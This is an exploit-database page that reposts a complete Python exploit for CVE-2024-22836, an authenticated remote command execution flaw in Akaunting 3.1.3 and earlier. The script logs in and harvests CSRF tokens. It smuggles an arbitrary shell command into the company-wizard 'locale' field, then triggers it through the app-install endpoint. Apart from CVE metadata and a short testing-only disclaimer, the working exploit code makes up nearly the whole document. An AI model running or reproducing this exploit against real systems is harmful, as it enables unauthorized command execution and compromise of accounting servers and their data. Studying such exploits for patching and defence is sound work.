Advertisement






Akaunting 3.1.3 Remote Command Execution

CVE Category Price Severity
CVE-2024-22836 CWE-78 $5,000 High
Author Risk Exploitation Type Date
Cyb3rMonk (Researcher) High Remote 2024-03-11
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024030019

Below is a copy:

Akaunting 3.1.3 Remote Command Execution
# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: [email protected]
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
# print("[INF] Retrieving company id...")
res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
if res.status_code != 302:
print("[ERR] No company id was found!")
sys.exit(3)
cid = res.headers['Location'].split('/')[-1]
if cid == "login":
print("[ERR] Invalid session cookie!")
sys.exit(7)
return cid

def get_tokens(url):
res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

if not search_res:
print("[ERR] Couldn't get csrf token")
sys.exit(1)

data = {}
data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
data['session'] = res.cookies.get('akaunting_session')
return data

def inject_command(cmd):
url = f"{target}/{company_id}/wizard/companies"
tokens = get_tokens(url)
headers.update({"X-Csrf-Token": tokens['csrf_token']})
data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
if res.status_code == 200:
res_data = res.json()
if res_data['error']:
print("[ERR] Command injection failed!")
sys.exit(4)
print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
print("[INF] Executing the command...")
url = f"{target}/{company_id}/apps/install"
data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
headers.update({"Content-Type":"application/json"})
res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
if res.status_code == 200:
res_data = res.json()
if res_data['error']:
search_res = re.search(r">Exit Code\:.*<", res_data['message'])
if search_res:
print("[ERR] Failed to execute the command")
sys.exit(6)
print("[ERR] Failed to install the app! no command was executed!")
sys.exit(5)
print("[INF] Executed successfully!")

def login(email, password):
url = f"{target}/auth/login"
tokens = get_tokens(url)

cookies.update({
'akaunting_session': tokens['session']
})

data = {
"_token": tokens['csrf_token'],
"_method": "POST",
"email": email,
"password": password
}

req = requests.post(url, headers=headers, cookies=cookies, data=data)
res = req.json()
if res['error']:
print("[ERR] Failed to log in!")
sys.exit(8)

print("[INF] Logged in")
cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})

def main():
inject_command(args.command)
trigger_rce(args.alias, args.version)

if __name__=='__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="target url")
parser.add_argument("--email", help="user login email.")
parser.add_argument("--password", help="user login password.")
parser.add_argument("-i", "--id", type=int, help="company id (optional).")
parser.add_argument("-c", "--command", help="command to execute.")
parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

args = parser.parse_args()

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
cookies = {}
target = args.url

try:
login(args.email, args.password)
company_id = get_company() if not args.id else args.id
main()
except:
sys.exit(0)

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum